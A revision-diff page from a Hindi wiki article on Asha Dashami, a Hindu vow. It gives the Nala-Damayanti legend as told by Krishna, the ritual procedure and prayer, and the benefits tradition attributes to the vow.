आशा दशमी: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
m (Text replacement - "राजपुत" to "राजपूत")
 
(6 intermediate revisions by 4 users not shown)
Line 1: Line 1:
'''आशा दशमी''' हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक व्रत संस्कार है। यह व्रत किसी भी मास के [[शुक्ल पक्ष]] की [[दशमी]] तिथि को आरम्भ करना चाहिए। व्रत छ: मास, एक वर्ष या दो वर्ष के लिए करना चाहिए। इस व्रत के करने वाले व्रती को अपने आँगन में दसों दिशाओं के चित्रों की [[पूजा]] करनी चाहिए। आशा दशमी का व्रत के करने से व्यक्ति की सभी आशाएँ<ref>'आशा' का अर्थ 'दिशा' एवं अभिकांक्षा या इच्छा भी होता है।</ref> पूर्ण हो जाती हैं।<ref>हेमाद्रि व्रतखण्ड (1, 977-981), व्रतरत्नाकर (356-7</ref> इस व्रत को करने वाला यदि वृद्ध हो तो पूजा तब होनी चाहिए, जब दशमी पूर्वाह्नाँ में हो। इस व्रत को पूर्ण करने से कन्या श्रेष्ठ वर प्राप्त करती है। पति के यात्रा-प्रवास पर जाने और जल्दी लौट कर न आने पर स्त्री इस व्रत के द्वारा अपने पति को शीघ्र प्राप्त कर सकती है। शिशु के दन्तजनिक पीड़ा में भी इस व्रत के करने से पीड़ा दूर हो जाती है।
{{सूचना बक्सा त्योहार
{{tocright}}
|चित्र=Krishn-title.jpg
|चित्र का नाम=
|अन्य नाम =
|अनुयायी = [[हिंदू]]
|उद्देश्य = आशा दशमी का व्रत के करने से व्यक्ति की सभी आशाएँ<ref>'आशा' का अर्थ 'दिशा' एवं अभिकांक्षा या इच्छा भी होता है।</ref> पूर्ण हो जाती हैं।<ref>हेमाद्रि व्रतखण्ड (1, 977-981), व्रतरत्नाकर (356-7)</ref>
|प्रारम्भ = महाभारत काल
|तिथि=किसी भी [[मास]] के [[शुक्ल पक्ष]] की [[दशमी]] 
|उत्सव =इस दिन प्रातः काल [[स्नान]] करके [[देवता|देवताओं]] की [[पूजा]] कर रात्रि में [[पुष्प]], अलक तथा [[चन्दन]] आदि से दस आशा देवियों की पूजा करनी चाहिए।
|अनुष्ठान = 
|धार्मिक मान्यता =इस व्रत को पूर्ण करने से कन्या श्रेष्ठ वर प्राप्त करती है। पति के यात्रा-प्रवास पर जाने और जल्दी लौट कर न आने पर स्त्री इस व्रत के द्वारा अपने पति को शीघ्र प्राप्त कर सकती है। शिशु के दन्तजनिक पीड़ा में भी इस व्रत के करने से पीड़ा दूर हो जाती है।
|प्रसिद्धि =
|संबंधित लेख=
|शीर्षक 1=
|पाठ 1=
|शीर्षक 2=
|पाठ 2=
|अन्य जानकारी=
|बाहरी कड़ियाँ=
|अद्यतन=
}}
'''आशा दशमी''' [[हिन्दू धर्म]] [[ग्रंथ|ग्रंथों]] में उल्लिखित एक [[व्रत]] संस्कार है। यह व्रत किसी भी [[मास]] के [[शुक्ल पक्ष]] की [[दशमी]] [[तिथि]] को आरम्भ करना चाहिए। यह व्रत छ: मास, एक [[वर्ष]] या दो वर्ष के लिए करना चाहिए। इस व्रत के करने वाले व्रती को अपने आँगन में दसों दिशाओं के चित्रों की [[पूजा]] करनी चाहिए। आशा दशमी का व्रत के करने से व्यक्ति की सभी आशाएँ<ref>'आशा' का अर्थ 'दिशा' एवं अभिकांक्षा या इच्छा भी होता है।</ref> पूर्ण हो जाती हैं।<ref>हेमाद्रि व्रतखण्ड (1, 977-981), व्रतरत्नाकर (356-7)</ref> इस व्रत को करने वाला यदि वृद्ध हो तो पूजा तब होनी चाहिए, जब दशमी पूर्वाह्न में हो। इस व्रत को पूर्ण करने से कन्या श्रेष्ठ वर प्राप्त करती है। पति के यात्रा-प्रवास पर जाने और जल्दी लौट कर न आने पर स्त्री इस व्रत के द्वारा अपने पति को शीघ्र प्राप्त कर सकती है। शिशु के दन्तजनिक पीड़ा में भी इस व्रत के करने से पीड़ा दूर हो जाती है।
==कथा==
==कथा==
भागवान [[श्रीकृष्ण]] कहते है- "पार्थ!<ref>[[महाभारत]] में 'पार्थ' [[अर्जुन]] का एक अन्य नाम है।</ref> अब मैं आपसे 'आशा दशमी' व्रत-कथा एवं उसके विधान का वर्णन कर रहा हूँ। प्राचीन काल में निषध देश में एक राजा राज्य करते थे। उनका नाम [[नल-दमयन्ती|नल]] था। उनके भाई पुष्कर ने द्यूत<ref>जुआ</ref> में जब उन्हें पराजित कर दिया, तब नल अपनी भार्या [[दमयन्ती]] के साथ राज्य से बाहर चले गये। वे प्रतिदिन एक वन से दूसरे वन में भ्रमण करते रहते थे। केवल [[जल]] मात्र से अपना जीवन-निर्वाह करते थे और जनशून्य भयंकर वनों में घूमते रहते थे। एक बार राजा ने वन में स्वर्ण-सी कान्ति वाले कुछ पक्षियों को देखा। उन्हें पकडने की इच्छा से राजा ने उनके ऊपर वस्त्र फैलाया, परन्तु वे सभी वस्त्र को लेकर आकाश में उड़ गये। इससे राजा बड़े दु:खी हो गये। वे दमयन्ती को गहरी निद्रा में देखकर उसे उसी स्थिति में छोडकर चले गये।<ref name="ab">{{cite web |url=http://www.divyayogaashram.com/Asha-Dashmi-Vrat.asp|title=आशा दशमी व्रत कथा|accessmonthday=27 मई|accessyear=2013|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
भगवान [[श्रीकृष्ण]] कहते है- "पार्थ!<ref>[[महाभारत]] में 'पार्थ' [[अर्जुन]] का एक अन्य नाम है।</ref> अब मैं आपसे 'आशा दशमी' व्रत-कथा एवं उसके विधान का वर्णन कर रहा हूँ। प्राचीन काल में निषध देश में एक राजा राज्य करते थे। उनका नाम [[नल-दमयन्ती|नल]] था। उनके भाई पुष्कर ने द्यूत<ref>जुआ</ref> में जब उन्हें पराजित कर दिया, तब नल अपनी भार्या [[दमयन्ती]] के साथ राज्य से बाहर चले गये। वे प्रतिदिन एक वन से दूसरे वन में भ्रमण करते रहते थे। केवल [[जल]] मात्र से अपना जीवन-निर्वाह करते थे और जनशून्य भयंकर वनों में घूमते रहते थे। एक बार राजा ने वन में स्वर्ण-सी कान्ति वाले कुछ पक्षियों को देखा। उन्हें पकडने की इच्छा से राजा ने उनके ऊपर वस्त्र फैलाया, परन्तु वे सभी वस्त्र को लेकर [[आकाश]] में उड़ गये। इससे राजा बड़े दु:खी हो गये। वे दमयन्ती को गहरी निद्रा में देखकर उसे उसी स्थिति में छोडकर चले गये।<ref name="ab">{{cite web |url=http://www.divyayogaashram.com/Asha-Dashmi-Vrat.asp|title=आशा दशमी व्रत कथा|accessmonthday=27 मई|accessyear=2013|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>


जब दमयन्ति निद्रा से जागी तो उसने देखा कि नल वहाँ नहीं हैं। नल को न पाकर वह उस घोर वन में हाहाकार करते हुए रोने लगी। महान दु:ख और शोक से संतृप्त होकर वह नल के दर्शनों की इच्छा से इधर-उधर भटकने लगी। इसी प्रकार कई दिन बीत गये और भटकते हुए वह [[चेदि जनपद|चेदि देश]] में पहुँची। वहाँ वह उन्मत्त-सी रहने लगी। छोटे-छोटे शिशु उसे कौतुकवश घेरे रहते थे। किसी दिन मनुष्यों से घिरी हुई उसे चेदि देश के राजा की माता ने देखा। उस समय दमयन्ती [[चन्द्रमा]] की रेखा के समान भूमि पर पडी हुई थी। उसका मुखम्ण्डल प्रकाशित था। राजमाता ने उसे अपने भवन में बुलाकर पूछा- "तुम कौन हो?" इस पर दमयन्ति ने लज्जित होते हुए कहा- "मैं विवाहित स्त्री हुँ। मैं न किसी के चरण धोती हूँ और न किसी का उच्छिष्ट<ref>झूठा</ref> भोजन करती हूँ। यहाँ रहते हुए कोई मुझे प्राप्त करेगा तो वह आपके द्वारा दण्डनीय होगा। देवी इस प्रतिज्ञा के साथ मैं यहाँ रह सकती हूँ।" राजमाता ने कहा- "ठीक है ऐसा ही होगा।" तब दमयन्ति ने वहाँ रहना स्वीकार किया और इसी प्रकर कुछ समय व्यतीत हुआ और फिर एक [[ब्राह्मण]] दमयन्ति को उसके [[माता]]-[[पिता]] के घर ले आया, किंतु माता-पिता तथा भाइयों का स्नेह पाने पर भी पति के बिना वह अत्यन्त दुःखी रहती थी। एक बार दमयन्ती ने एक श्रेष्ठ ब्राह्मण को बुलाकर उससे पूछा- "हे ब्राह्मण देवता! आप कोई ऐसा दान एवं व्रत बतायें, जिससे मेरे पति मुझे प्राप्त हो जाये।" इस पर उस बुद्धिमान ब्राह्मण ने कहा- "भद्रे! तुम मनोवांच्छित सिद्धि प्रदान करने वाले '''आशा दशमी''' व्रत को करो।" तब दमयन्ति ने पुराणवेत्ता उस दम नामक पुरोहित ब्राह्मण के द्वारा ऐसा कहे जाने पर 'आशा दशमी' व्रत का अनुष्ठान किया। उस व्रत के प्रभाव से दमयन्ति ने अपने पति को पुनः प्राप्त किया।
जब दमयन्ती निद्रा से जागी तो उसने देखा कि नल वहाँ नहीं हैं। नल को न पाकर वह उस घोर वन में हाहाकार करते हुए रोने लगी। महान् दु:ख और शोक से संतृप्त होकर वह नल के दर्शनों की इच्छा से इधर-उधर भटकने लगी। इसी प्रकार कई दिन बीत गये और भटकते हुए वह [[चेदि जनपद|चेदि देश]] में पहुँची। वहाँ वह उन्मत्त-सी रहने लगी। छोटे-छोटे शिशु उसे कौतुकवश घेरे रहते थे। किसी दिन मनुष्यों से घिरी हुई उसे चेदि देश के राजा की माता ने देखा। उस समय दमयन्ती [[चन्द्रमा]] की रेखा के समान भूमि पर पडी हुई थी। उसका मुखमंडल प्रकाशित था। राजमाता ने उसे अपने भवन में बुलाकर पूछा- "तुम कौन हो?" इस पर दमयन्ती ने लज्जित होते हुए कहा- "मैं विवाहित स्त्री हूँ। मैं न किसी के चरण धोती हूँ और न किसी का उच्छिष्ट<ref>झूठा</ref> भोजन करती हूँ। यहाँ रहते हुए कोई मुझे प्राप्त करेगा तो वह आपके द्वारा दण्डनीय होगा। देवी इस प्रतिज्ञा के साथ मैं यहाँ रह सकती हूँ।" राजमाता ने कहा- "ठीक है ऐसा ही होगा।" तब दमयन्ती ने वहाँ रहना स्वीकार किया और इसी प्रकार कुछ समय व्यतीत हुआ और फिर एक [[ब्राह्मण]] दमयन्ती को उसके [[माता]]-[[पिता]] के घर ले आया, किंतु माता-पिता तथा भाइयों का स्नेह पाने पर भी पति के बिना वह अत्यन्त दुःखी रहती थी। एक बार दमयन्ती ने एक श्रेष्ठ ब्राह्मण को बुलाकर उससे पूछा- "हे ब्राह्मण देवता! आप कोई ऐसा दान एवं व्रत बतायें, जिससे मेरे पति मुझे प्राप्त हो जाये।" इस पर उस बुद्धिमान ब्राह्मण ने कहा- "भद्रे! तुम मनोवांच्छित सिद्धि प्रदान करने वाले '''आशा दशमी''' व्रत को करो।" तब दमयन्ती ने पुराणवेत्ता उस दम नामक पुरोहित ब्राह्मण के द्वारा ऐसा कहे जाने पर 'आशा दशमी' व्रत का अनुष्ठान किया। उस व्रत के प्रभाव से दमयन्ती ने अपने पति को पुनः प्राप्त किया।
==लाभ तथा महत्त्व==
==लाभ तथा महत्त्व==
भगवान [[श्रीकृष्ण]] के मुख से इस कथा को सुनकर धर्मराज [[युधिष्ठिर]] ने कहा- "हे गोविन्द! यह 'आशा दाशमी' व्रत किस प्रकार और कैसे किया जाता है तथा इसके क्या लाभ हैं? आप सर्वज्ञ हैं। आप इसे बतायें। युधिष्ठिर की बात सुनकर श्रीकृष्ण बोले- "हे राजन! इस व्रत के प्रभाव से राजपुत्र अपना राज्य, [[कृषि]], खेती, वणिक व्यापार में लाभ, पुत्रार्थी पुत्र तथा मानव धर्म, अर्थ एवं काम की सिद्धि प्राप्त करते हैं। कन्या श्रेष्ठ वर प्राप्त करती है। 'आशा दशमी' व्रत से [[ब्राह्मण]] निर्विघ्र [[यज्ञ]] सम्पन्न कर लेता है। असाध्य रोगों से पीड़ित रोगी रोग से मुक्त हो जाता है और पति के यात्रा-प्रवास पर जाने पर और जल्दी न आने पर स्त्री इस व्रत के द्वारा अपने पति को शीघ्र प्राप्त कर सकती है। शिशु के दन्तजनिक पीड़ा में भी इस व्रत से पीड़ा दूर हो जाती है और कष्ट नहीं होता। इसी प्रकार अन्य कार्यों की सिद्धि के लिए इसी 'आशा दशमी' व्रत को करना चाहिए। जब भी जिस किसी को कष्ट पड़े, उसकी निवृत्ति के लिए इस व्रत को पूरी श्रद्धा और सच्चे मन से करना चाहिए।<ref name="ab"/>
भगवान [[श्रीकृष्ण]] के मुख से इस कथा को सुनकर धर्मराज [[युधिष्ठिर]] ने कहा- "हे गोविन्द! यह 'आशा दशमी' व्रत किस प्रकार और कैसे किया जाता है तथा इसके क्या लाभ हैं? आप सर्वज्ञ हैं। आप इसे बतायें। युधिष्ठिर की बात सुनकर श्रीकृष्ण बोले- "हे राजन! इस व्रत के प्रभाव से राजपूत्र अपना राज्य, [[कृषि]], खेती, वणिक व्यापार में लाभ, पुत्रार्थी पुत्र तथा मानव धर्म, अर्थ एवं काम की सिद्धि प्राप्त करते हैं। कन्या श्रेष्ठ वर प्राप्त करती है। 'आशा दशमी' व्रत से [[ब्राह्मण]] निर्विघ्र [[यज्ञ]] सम्पन्न कर लेता है। असाध्य रोगों से पीड़ित रोगी रोग से मुक्त हो जाता है और पति के यात्रा-प्रवास पर जाने पर और जल्दी न आने पर स्त्री इस व्रत के द्वारा अपने पति को शीघ्र प्राप्त कर सकती है। शिशु के दन्तजनिक पीड़ा में भी इस व्रत से पीड़ा दूर हो जाती है और कष्ट नहीं होता। इसी प्रकार अन्य कार्यों की सिद्धि के लिए इसी 'आशा दशमी' व्रत को करना चाहिए। जब भी जिस किसी को कष्ट पड़े, उसकी निवृत्ति के लिए इस व्रत को पूरी श्रद्धा और सच्चे मन से करना चाहिए।<ref name="ab"/>
==व्रत विधान==
==व्रत विधान==
यह 'आशा दशमी' व्रत किसी भी मास के [[शुक्ल पक्ष]] की [[दशमी]] तिथि को किया जाता है। इस दिन प्रातः काल [[स्नान]] करके [[देवता|देवताओं]] की [[पूजा]] कर रात्रि में [[पुष्प]], अलक् तथा [[चन्दन]] आदि से दस आशा देवियों की पूजा करनी चाहिए। घर के आंगन में [[जौ]] से अथवा पिष्टातक से पूर्वादि दसों दिशाओं के अधिपतियों की प्रतिमाओं को उनके वाहन तथा [[अस्त्र शस्त्र|अस्त्र-शस्त्रों]] से सुसज्जित कर उन्हें ही ऐन्द्री आदि दिशा-देवियों के रूप मे मानकर पूजन करना चाहिए। सब को घृतपूर्ण नैवेद्य, पृथ्क-पृथ्क दीपक तथा ऋतु [[फल]] आदि समर्पित करना चाहिए। इसके अनन्तर अपने कार्य की सिद्धि के लिए इस प्रकार प्रार्थना करनी चाहिए-
यह 'आशा दशमी' व्रत किसी भी मास के [[शुक्ल पक्ष]] की [[दशमी]] तिथि को किया जाता है। इस दिन प्रातः काल [[स्नान]] करके [[देवता|देवताओं]] की [[पूजा]] कर रात्रि में [[पुष्प]], अलक तथा [[चन्दन]] आदि से दस आशा देवियों की पूजा करनी चाहिए। घर के आँगन में [[जौ]] से अथवा पिष्टातक से पूर्वादि दसों दिशाओं के अधिपतियों की प्रतिमाओं को उनके वाहन तथा [[अस्त्र शस्त्र|अस्त्र-शस्त्रों]] से सुसज्जित कर उन्हें ही ऐन्द्री आदि दिशा-देवियों के रूप मे मानकर पूजन करना चाहिए। सब को घृतपूर्ण नैवेद्य, पृथक-पृथक् [[दीपक]] तथा ऋतु [[फल]] आदि समर्पित करना चाहिए। इसके अनन्तर अपने कार्य की सिद्धि के लिए इस प्रकार प्रार्थना करनी चाहिए-


<blockquote><poem>आशाश्चाशाः सदा सन्तु सिद्ध्यन्तां में मनोरथाः ।
<blockquote><poem>आशाश्चाशाः सदा सन्तु सिद्ध्यन्तां में मनोरथाः ।
Line 15: Line 35:
<blockquote>अर्थात् "हे आशा देवियों! मेरी आशाएँ सदा सफल हों, मेरे मनोरथ पूर्ण हों, आप लोगों से मेरा सदा कल्याण हो।"</blockquote>
<blockquote>अर्थात् "हे आशा देवियों! मेरी आशाएँ सदा सफल हों, मेरे मनोरथ पूर्ण हों, आप लोगों से मेरा सदा कल्याण हो।"</blockquote>


इस प्रकार विधिवत [[पूजा]] कर [[ब्राह्मण]] को दक्षिणा प्रदान कर प्रसाद ग्रहण करना चहिए। इसी क्रम से प्रत्येक मास में इस व्रत को करना चाहिए। जब तक अपना मनोरथ पूर्ण न हो जाये। तब तक इस व्रत को करना चाहिए। अनन्तर न हो जाय, उद्यापन करना चाहिए। उद्यापन में आशा देवियों की सोने, चाँदी अथवा पिष्टातका से प्रतिमा बनाकर घर के आंगन में उनकी पूजा करके ऐन्द्री, आग्रेयी, याम्या, नैऋति, वरूणि, वायव्या, सौम्या, करके ऐन्द्री, अधः तथा ब्रह्मी, इन दस आशा देवियों<ref>दिशा-देवियों</ref> से अभीष्ट कामनाओं की सिद्धि के लिए प्रार्थना करनी चाहिए, साथ ही नक्षत्रों, ग्रहों, तारा ग्रहों, नक्षत्र-मातृकाओं, भूत-प्रेत-विनायकों से भी अभीष्ट सिद्धि के लिये प्रार्थना करनी चाहिए। [[पुष्प]], [[फल]], धूप, गन्ध, वस्त्र आदि से उनकी प्रार्थना करनी चाहिए। सुहागिन स्त्रियों को [[नृत्य]], गीत आदि के द्वारा रात्रि जागरण करना चाहिए। प्रातः काल विद्वान ब्राह्मण को सब कुछ पूजित निवेदित कर देना चाहिए और उन्हें प्रणाम कर क्षमा याचना करनी चाहिए। अनन्तर बन्धु-बान्धवों एवं मित्रों के साथ प्रसन्न मन से भोजन करना चाहिए।<ref name="ab"/> [[श्रीकृष्ण]] कहते हैं- "हे पार्थ! जो इस 'आशा दशमी' व्रत को श्रद्धापूर्वक करता है, उसके सभी मनोरथ पूर्ण हो जाते हैं। यह व्रत स्त्रियों के लिए विशेष कर श्रेयस्कर है।
इस प्रकार विधिवत [[पूजा]] कर [[ब्राह्मण]] को दक्षिणा प्रदान कर प्रसाद ग्रहण करना चहिए। इसी क्रम से प्रत्येक [[मास]] में इस व्रत को करना चाहिए। जब तक अपना मनोरथ पूर्ण न हो जाये। तब तक इस व्रत को करना चाहिए। अनन्तर न हो जाय, उद्यापन करना चाहिए। उद्यापन में आशा देवियों की [[सोना|सोने]], [[चाँदी]] अथवा पिष्टातका से प्रतिमा बनाकर घर के आंगन में उनकी पूजा करके ऐन्द्री, आग्रेयी, याम्या, नैऋति, वरूणि, वायव्या, सौम्या, ऐन्द्री, अधः तथा ब्रह्मी, इन दस आशा देवियों<ref>दिशा-देवियों</ref> से अभीष्ट कामनाओं की सिद्धि के लिए प्रार्थना करनी चाहिए, साथ ही [[नक्षत्र|नक्षत्रों]], [[ग्रह|ग्रहों]], तारा ग्रहों, नक्षत्र-मातृकाओं, भूत-प्रेत-विनायकों से भी अभीष्ट सिद्धि के लिये प्रार्थना करनी चाहिए। [[पुष्प]], [[फल]], धूप, गन्ध, वस्त्र आदि से उनकी प्रार्थना करनी चाहिए। सुहागिन स्त्रियों को [[नृत्य]], [[गीत]] आदि के द्वारा रात्रि जागरण करना चाहिए। प्रातः काल विद्वान् [[ब्राह्मण]] को सब कुछ पूजित निवेदित कर देना चाहिए और उन्हें प्रणाम कर क्षमा याचना करनी चाहिए। अनन्तर बन्धु-बान्धवों एवं मित्रों के साथ प्रसन्न मन से भोजन करना चाहिए।<ref name="ab"/> [[श्रीकृष्ण]] कहते हैं- "हे पार्थ! जो इस 'आशा दशमी' व्रत को श्रद्धापूर्वक करता है, उसके सभी मनोरथ पूर्ण हो जाते हैं। यह व्रत स्त्रियों के लिए विशेष कर श्रेयस्कर है।


{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध=}}
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध=}}
Line 24: Line 44:
[[Category:व्रत और उत्सव]][[Category:पर्व और त्योहार]][[Category:संस्कृति कोश]]
[[Category:व्रत और उत्सव]][[Category:पर्व और त्योहार]][[Category:संस्कृति कोश]]
__INDEX__
__INDEX__
__NOTOC__

Latest revision as of 12:42, 1 September 2017

आशा दशमी
अनुयायी हिंदू
उद्देश्य आशा दशमी का व्रत के करने से व्यक्ति की सभी आशाएँ[1] पूर्ण हो जाती हैं।[2]
प्रारम्भ महाभारत काल
तिथि किसी भी मास के शुक्ल पक्ष की दशमी
उत्सव इस दिन प्रातः काल स्नान करके देवताओं की पूजा कर रात्रि में पुष्प, अलक तथा चन्दन आदि से दस आशा देवियों की पूजा करनी चाहिए।
धार्मिक मान्यता इस व्रत को पूर्ण करने से कन्या श्रेष्ठ वर प्राप्त करती है। पति के यात्रा-प्रवास पर जाने और जल्दी लौट कर न आने पर स्त्री इस व्रत के द्वारा अपने पति को शीघ्र प्राप्त कर सकती है। शिशु के दन्तजनिक पीड़ा में भी इस व्रत के करने से पीड़ा दूर हो जाती है।

आशा दशमी हिन्दू धर्म ग्रंथों में उल्लिखित एक व्रत संस्कार है। यह व्रत किसी भी मास के शुक्ल पक्ष की दशमी तिथि को आरम्भ करना चाहिए। यह व्रत छ: मास, एक वर्ष या दो वर्ष के लिए करना चाहिए। इस व्रत के करने वाले व्रती को अपने आँगन में दसों दिशाओं के चित्रों की पूजा करनी चाहिए। आशा दशमी का व्रत के करने से व्यक्ति की सभी आशाएँ[3] पूर्ण हो जाती हैं।[4] इस व्रत को करने वाला यदि वृद्ध हो तो पूजा तब होनी चाहिए, जब दशमी पूर्वाह्न में हो। इस व्रत को पूर्ण करने से कन्या श्रेष्ठ वर प्राप्त करती है। पति के यात्रा-प्रवास पर जाने और जल्दी लौट कर न आने पर स्त्री इस व्रत के द्वारा अपने पति को शीघ्र प्राप्त कर सकती है। शिशु के दन्तजनिक पीड़ा में भी इस व्रत के करने से पीड़ा दूर हो जाती है।

कथा

भगवान श्रीकृष्ण कहते है- "पार्थ![5] अब मैं आपसे 'आशा दशमी' व्रत-कथा एवं उसके विधान का वर्णन कर रहा हूँ। प्राचीन काल में निषध देश में एक राजा राज्य करते थे। उनका नाम नल था। उनके भाई पुष्कर ने द्यूत[6] में जब उन्हें पराजित कर दिया, तब नल अपनी भार्या दमयन्ती के साथ राज्य से बाहर चले गये। वे प्रतिदिन एक वन से दूसरे वन में भ्रमण करते रहते थे। केवल जल मात्र से अपना जीवन-निर्वाह करते थे और जनशून्य भयंकर वनों में घूमते रहते थे। एक बार राजा ने वन में स्वर्ण-सी कान्ति वाले कुछ पक्षियों को देखा। उन्हें पकडने की इच्छा से राजा ने उनके ऊपर वस्त्र फैलाया, परन्तु वे सभी वस्त्र को लेकर आकाश में उड़ गये। इससे राजा बड़े दु:खी हो गये। वे दमयन्ती को गहरी निद्रा में देखकर उसे उसी स्थिति में छोडकर चले गये।[7]

जब दमयन्ती निद्रा से जागी तो उसने देखा कि नल वहाँ नहीं हैं। नल को न पाकर वह उस घोर वन में हाहाकार करते हुए रोने लगी। महान् दु:ख और शोक से संतृप्त होकर वह नल के दर्शनों की इच्छा से इधर-उधर भटकने लगी। इसी प्रकार कई दिन बीत गये और भटकते हुए वह चेदि देश में पहुँची। वहाँ वह उन्मत्त-सी रहने लगी। छोटे-छोटे शिशु उसे कौतुकवश घेरे रहते थे। किसी दिन मनुष्यों से घिरी हुई उसे चेदि देश के राजा की माता ने देखा। उस समय दमयन्ती चन्द्रमा की रेखा के समान भूमि पर पडी हुई थी। उसका मुखमंडल प्रकाशित था। राजमाता ने उसे अपने भवन में बुलाकर पूछा- "तुम कौन हो?" इस पर दमयन्ती ने लज्जित होते हुए कहा- "मैं विवाहित स्त्री हूँ। मैं न किसी के चरण धोती हूँ और न किसी का उच्छिष्ट[8] भोजन करती हूँ। यहाँ रहते हुए कोई मुझे प्राप्त करेगा तो वह आपके द्वारा दण्डनीय होगा। देवी इस प्रतिज्ञा के साथ मैं यहाँ रह सकती हूँ।" राजमाता ने कहा- "ठीक है ऐसा ही होगा।" तब दमयन्ती ने वहाँ रहना स्वीकार किया और इसी प्रकार कुछ समय व्यतीत हुआ और फिर एक ब्राह्मण दमयन्ती को उसके माता-पिता के घर ले आया, किंतु माता-पिता तथा भाइयों का स्नेह पाने पर भी पति के बिना वह अत्यन्त दुःखी रहती थी। एक बार दमयन्ती ने एक श्रेष्ठ ब्राह्मण को बुलाकर उससे पूछा- "हे ब्राह्मण देवता! आप कोई ऐसा दान एवं व्रत बतायें, जिससे मेरे पति मुझे प्राप्त हो जाये।" इस पर उस बुद्धिमान ब्राह्मण ने कहा- "भद्रे! तुम मनोवांच्छित सिद्धि प्रदान करने वाले आशा दशमी व्रत को करो।" तब दमयन्ती ने पुराणवेत्ता उस दम नामक पुरोहित ब्राह्मण के द्वारा ऐसा कहे जाने पर 'आशा दशमी' व्रत का अनुष्ठान किया। उस व्रत के प्रभाव से दमयन्ती ने अपने पति को पुनः प्राप्त किया।

लाभ तथा महत्त्व

भगवान श्रीकृष्ण के मुख से इस कथा को सुनकर धर्मराज युधिष्ठिर ने कहा- "हे गोविन्द! यह 'आशा दशमी' व्रत किस प्रकार और कैसे किया जाता है तथा इसके क्या लाभ हैं? आप सर्वज्ञ हैं। आप इसे बतायें। युधिष्ठिर की बात सुनकर श्रीकृष्ण बोले- "हे राजन! इस व्रत के प्रभाव से राजपूत्र अपना राज्य, कृषि, खेती, वणिक व्यापार में लाभ, पुत्रार्थी पुत्र तथा मानव धर्म, अर्थ एवं काम की सिद्धि प्राप्त करते हैं। कन्या श्रेष्ठ वर प्राप्त करती है। 'आशा दशमी' व्रत से ब्राह्मण निर्विघ्र यज्ञ सम्पन्न कर लेता है। असाध्य रोगों से पीड़ित रोगी रोग से मुक्त हो जाता है और पति के यात्रा-प्रवास पर जाने पर और जल्दी न आने पर स्त्री इस व्रत के द्वारा अपने पति को शीघ्र प्राप्त कर सकती है। शिशु के दन्तजनिक पीड़ा में भी इस व्रत से पीड़ा दूर हो जाती है और कष्ट नहीं होता। इसी प्रकार अन्य कार्यों की सिद्धि के लिए इसी 'आशा दशमी' व्रत को करना चाहिए। जब भी जिस किसी को कष्ट पड़े, उसकी निवृत्ति के लिए इस व्रत को पूरी श्रद्धा और सच्चे मन से करना चाहिए।[7]

व्रत विधान

यह 'आशा दशमी' व्रत किसी भी मास के शुक्ल पक्ष की दशमी तिथि को किया जाता है। इस दिन प्रातः काल स्नान करके देवताओं की पूजा कर रात्रि में पुष्प, अलक तथा चन्दन आदि से दस आशा देवियों की पूजा करनी चाहिए। घर के आँगन में जौ से अथवा पिष्टातक से पूर्वादि दसों दिशाओं के अधिपतियों की प्रतिमाओं को उनके वाहन तथा अस्त्र-शस्त्रों से सुसज्जित कर उन्हें ही ऐन्द्री आदि दिशा-देवियों के रूप मे मानकर पूजन करना चाहिए। सब को घृतपूर्ण नैवेद्य, पृथक-पृथक् दीपक तथा ऋतु फल आदि समर्पित करना चाहिए। इसके अनन्तर अपने कार्य की सिद्धि के लिए इस प्रकार प्रार्थना करनी चाहिए-

आशाश्चाशाः सदा सन्तु सिद्ध्यन्तां में मनोरथाः ।
भवतीनां प्रसादेन सदा कल्याणमस्त्विति ।।

अर्थात् "हे आशा देवियों! मेरी आशाएँ सदा सफल हों, मेरे मनोरथ पूर्ण हों, आप लोगों से मेरा सदा कल्याण हो।"

इस प्रकार विधिवत पूजा कर ब्राह्मण को दक्षिणा प्रदान कर प्रसाद ग्रहण करना चहिए। इसी क्रम से प्रत्येक मास में इस व्रत को करना चाहिए। जब तक अपना मनोरथ पूर्ण न हो जाये। तब तक इस व्रत को करना चाहिए। अनन्तर न हो जाय, उद्यापन करना चाहिए। उद्यापन में आशा देवियों की सोने, चाँदी अथवा पिष्टातका से प्रतिमा बनाकर घर के आंगन में उनकी पूजा करके ऐन्द्री, आग्रेयी, याम्या, नैऋति, वरूणि, वायव्या, सौम्या, ऐन्द्री, अधः तथा ब्रह्मी, इन दस आशा देवियों[9] से अभीष्ट कामनाओं की सिद्धि के लिए प्रार्थना करनी चाहिए, साथ ही नक्षत्रों, ग्रहों, तारा ग्रहों, नक्षत्र-मातृकाओं, भूत-प्रेत-विनायकों से भी अभीष्ट सिद्धि के लिये प्रार्थना करनी चाहिए। पुष्प, फल, धूप, गन्ध, वस्त्र आदि से उनकी प्रार्थना करनी चाहिए। सुहागिन स्त्रियों को नृत्य, गीत आदि के द्वारा रात्रि जागरण करना चाहिए। प्रातः काल विद्वान् ब्राह्मण को सब कुछ पूजित निवेदित कर देना चाहिए और उन्हें प्रणाम कर क्षमा याचना करनी चाहिए। अनन्तर बन्धु-बान्धवों एवं मित्रों के साथ प्रसन्न मन से भोजन करना चाहिए।[7] श्रीकृष्ण कहते हैं- "हे पार्थ! जो इस 'आशा दशमी' व्रत को श्रद्धापूर्वक करता है, उसके सभी मनोरथ पूर्ण हो जाते हैं। यह व्रत स्त्रियों के लिए विशेष कर श्रेयस्कर है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 'आशा' का अर्थ 'दिशा' एवं अभिकांक्षा या इच्छा भी होता है।
  2. हेमाद्रि व्रतखण्ड (1, 977-981), व्रतरत्नाकर (356-7)
  3. 'आशा' का अर्थ 'दिशा' एवं अभिकांक्षा या इच्छा भी होता है।
  4. हेमाद्रि व्रतखण्ड (1, 977-981), व्रतरत्नाकर (356-7)
  5. महाभारत में 'पार्थ' अर्जुन का एक अन्य नाम है।
  6. जुआ
  7. 7.0 7.1 7.2 आशा दशमी व्रत कथा (हिन्दी)। । अभिगमन तिथि: 27 मई, 2013।
  8. झूठा
  9. दिशा-देवियों

